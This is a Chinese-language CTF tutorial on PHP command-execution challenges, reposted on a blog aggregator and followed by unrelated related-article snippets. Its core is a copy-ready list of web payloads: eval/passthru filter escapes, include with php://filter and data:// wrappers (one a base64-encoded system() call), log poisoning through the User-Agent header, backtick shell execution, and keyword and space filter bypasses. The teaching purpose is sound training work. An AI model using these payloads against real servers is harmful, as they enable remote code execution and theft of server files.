一篇文章带你进阶CTF命令执行

news2025/1/6 12:19:35

以下的命令是为了方便以后做题时方便各位读者直接来这里复制使用,刚开始还请先看完这篇文章后才会懂得下面的命令

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');      #逃逸过滤 

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php           #文件包含
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>  #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?>   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

                                                                          正文

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> ${IFS} $IFS$9 {cat,fl*} %20

注:

%09  ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.‘’    (例如fl‘’ag)

2.“”     (例如fl""ag)

3.?       (例如fl??)

4.*          (例如fl*)

既然是进阶,那光讲基础知识那可不行!

1.代码注入攻击(逃逸过滤)

原理就是写入参数,利用它作为中间人逃逸过滤,这是一种危害极大的漏洞

拿一道题举例:

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

在这段代码中,使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中,如果你通过 URL 的查询参数传递 c=eval($_GET[shy]),那么这个参数会被当做 PHP 代码执行,最终达到逃逸对c的过滤,毕竟那是过滤c的,管我shy什么事!

2.文件包含漏洞

还是上面那道题目

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

 注:分号可以使用>? 代替,而这里又过滤了分号的

$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 include 函数进行包含。

再通过查询参数传递 c=include%09$_GET[shy]?>,会将 GET 参数 "shy" 的值作为文件包含的路径,并执行该文件的内容。

而通过查询参数传递 shy=php://filter/read=convert.base64-encode/resource=flag.php,则将 php://filter/read=convert.base64-encode/resource=flag.php 作为 GET 参数 "shy" 的值。在这个例子中,php://filter 是 PHP 的过滤器机制,read=convert.base64-encode 表示读取文件并将其内容转换为 Base64 编码,resource=flag.php 表示要读取的文件路径是 flag.php

这段代码的目的是将 flag.php 文件的内容以 Base64 编码的形式返回给用户。

如果不能理解那就强烈推荐一篇文章《一篇文章带你入门文件上传》

一篇文章带你入门文件包含-CSDN博客

ps:如果看到了题目看到了include,就直接使用我的一篇文章带你入门文件包含-CSDN博客的指令,如果没有看到,那就使用我这篇文章上面的指令。

3.伪协议

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php

这段代码的含义是尝试通过 PHP 的 system 函数执行通过 POST 方法传递的命令,具体命令是反向显示(逐行倒序)flag.php 文件的内容。

还有?c=data:text/plain,<?php system(‘tac f*’);?>本质是一样的

常见命令:

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==


 

4.文件日志包含

还是拿上面那道题目举例:

在User-Agent插入
<?php echo system('ls');?>(当然换个命令也可以,比如<?php echo system('cat flag.php');?>

?c=/var/log/nginx/access.log

就像这样

文件日志直接给你了,接下来ctrl+f可以直接搜索网页特殊字符,比如flag,接下来网页就会帮你锁定位置,是不是以为flag就直接出来了?当然没有那么简单,哈哈,这次没有flag,不过这条命令一般都是可以执行的,可以看到很多有用信息,有些题目有时甚至flag就直接出来了

5.反引号shell 命令执行

命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

?c=echo(`tac%09f*`);

真心希望大家在读了我的文章后能够有所获!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1326818.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于MLP完成CIFAR-10数据集和UCI wine数据集的分类

基于MLP完成CIFAR-10数据集和UCI wine数据集的分类&#xff0c;使用到了sklearn和tensorflow&#xff0c;并对图片分类进行了数据可视化展示 数据集介绍 UCI wine数据集&#xff1a; http://archive.ics.uci.edu/dataset/109/wine 这些数据是对意大利同一地区种植的葡萄酒进…

Navicat里放大、缩小字体的快捷方法

我是偶然误触键盘把字体缩小了&#xff0c;研究以后发现的这个快捷键&#xff0c;分享给大家。 方法&#xff1a;按住【CtrlShift】组合键&#xff0c;再拖动鼠标滚轮&#xff0c;就可以缩放字体了。 缩小效果&#xff1a; 放大效果&#xff1a;

在 TensorFlow 中启用 Eager Execution

TensorFlow 是一个端到端的开源机器学习平台&#xff0c;可以更轻松地构建和部署机器学习模型。TensorFlow 应用程序使用一种称为数据流图的结构。默认情况下&#xff0c;在 TensorFlow 1.0 版中&#xff0c;每个图形都必须在 TensorFlow 会话中运行&#xff0c;这只允许一次运…

C# Onnx Yolov8 Detect 物体检测 多张图片同时推理

目录 效果 模型信息 项目 代码 下载 C# Onnx Yolov8 Detect 物体检测 多张图片同时推理 效果 模型信息 Model Properties ------------------------- date&#xff1a;2023-12-18T11:47:29.332397 description&#xff1a;Ultralytics YOLOv8n-detect model trained on …

UE4 UE5 一直面向屏幕

一直面相屏幕&#xff0c;方法很简单 新建一个蓝图&#xff0c;如下添加组件&#xff1a; 蓝图如下&#xff1a; Rotation Actor &#xff1a;需要跟随镜头旋转的物体 Update&#xff1a;一个timeline&#xff08;替代event tick 只是为了循环&#xff09; Timeline&#xff…

变量覆盖漏洞 [BJDCTF2020]Mark loves cat 1

打开题目 我们拿dirsearch扫描一下看看 扫描得到 看见有git字眼&#xff0c;那我们就访问 用githack去扒一下源代码看看 可以看到确实有flag.php结合index.php存在 但是当我去翻源代码的时候却没有翻到 去网上找到了这道题目的源代码 <?phpinclude flag.php;$yds &qu…

Linux Centos 配置 Docker 国内镜像加速

在使用 Docker 进行容器化部署时&#xff0c;由于国外的 Docker 镜像源速度较慢&#xff0c;我们可以配置 Docker 使用国内的镜像加速器&#xff0c;以提高下载和部署的效率。本文将介绍如何在 CentOS 系统上配置 Docker 使用国内镜像加速。 步骤一&#xff1a;安装 Docker 首…

大数据机器学习 - 似然函数:概念、应用与代码实例

文章目录 大数据机器学习 - 似然函数&#xff1a;概念、应用与代码实例一、概要二、什么是似然函数数学定义似然与概率的区别重要性举例 三、似然函数与概率密度函数似然函数&#xff08;Likelihood Function&#xff09;定义例子 概率密度函数&#xff08;Probability Density…

伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei

打开题目 代码审计 第一层绕过 if(isset($text)&&(file_get_contents($text,r)"welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,r)."</h1></br>"; 要求我们get传参的text内容必须为w…

智能优化算法应用:基于未来搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于未来搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于未来搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.未来搜索算法4.实验参数设定5.算法结果6.…

Chatgpt如何多人使用?如何防止封号?

时下火爆年轻人的AI技术当属于Chatgpt&#xff0c;但他是一把双刃剑&#xff0c;使用它给我们带来便利的同时&#xff0c;也可能会带来隐患&#xff0c;因此我们需要科学使用AI技术。 本文将针对备受关注的Chatgpt如何多人共享使用&#xff1f;如何防止封号&#xff0c;为你带…

playbook 模块

list together nested with_items Templates 模块 jinja模块架构&#xff0c;通过模板可以实现向模板文件传参&#xff08;python转义&#xff09;把占位符参数传到配置文件中去。 生产一个目标文本文件&#xff0c;传递变量到文本文件当中去。 实验&#xff1a; systemctl…

uniapp整合echarts(目前性能最优、渲染最快方案)

本文echarts示例如上图,可扫码体验渲染速度及loading效果,下文附带本小程序uniapp相关代码 实现代码 <template><view class="source

thinkphp的生命周期

1.入口文件 index.php 用户通过入口文件&#xff0c;发起服务请求&#xff0c;是整个应用的入口与七点 定义常量&#xff0c;加载引导文件&#xff0c;不要放任何业务处理代码 2.引导文件 start.php; 加载常量->加载环境变量->注册自动加载->注册错误与异常->加…

基于Java (spring-boot)的课程管理系统

一、项目介绍 ​近年来&#xff0c;随着网络学校规模的逐渐增大&#xff0c;人工书写数据已经不能够处理如此庞大的数据。为了更好的适应信息时代的高效性&#xff0c;一个利用计算机来实现学生信息管理工作的系统将必然诞生。基于这一点&#xff0c;设计了一个学生信息管理系统…

2023.12.21:烧录三个led灯

.text .global _start _start: /*---------------------------------LD1------------------------------------------------*/设置GEIOE时钟使能 RCC_MP_AHB4ENSETR[4]->1 0x50000A28LDR R0,0X50000A28 指定寄存器的地址LDR R1,[R0] 将寄存器数值取出来放在R1中…

7-高可用-回滚机制

事务回滚 在执行数据库SQL时&#xff0c;如果我们检测到事务提交冲突&#xff0c;那么事务中所有已执行的SQL要进行回滚&#xff0c;目的是防止数据库出现数据不一致。对于单库事务回滚直接使用相关SQL即可。 如果涉及分布式数据库&#xff0c;则要考虑使用分布式事务&#x…

Jenkins的文档翻译

官网Jenkins.io Jenkins用户文档 欢迎来到Jenkins用户文档-为那些想要使用Jenkins的现有功能和插件特性的人。如果你想通过开发自己的Jenkins插件来扩展Jenkins的功能&#xff0c;请参考extend Jenkins(开发者文档)。 詹金斯是什么? Jenkins是一个独立的、开源的自动化服务…

STM32-ADC模数转换器

目录 一、ADC简介 二、逐次逼近型ADC内部结构 三、STM32内部ADC转换结构 四、ADC基本结构 五、输入通道 六、转换模式 6.1单次转换&#xff0c;非扫描模式 6.2连续转换&#xff0c;非扫描模式 6.3单次转换&#xff0c;扫描模式 6.4连续转换&#xff0c;扫描模式 七、…

网线的制作集线器交换机路由器的配置--含思维导图

&#x1f3ac; 艳艳耶✌️&#xff1a;个人主页 &#x1f525; 个人专栏 &#xff1a;《产品经理如何画泳道图&流程图》 ⛺️ 越努力 &#xff0c;越幸运 一、网线的制作 1、网线的材料有哪些&#xff1f; 网线 网线是一种用于传输数据信号的电缆&#xff0c;广泛应…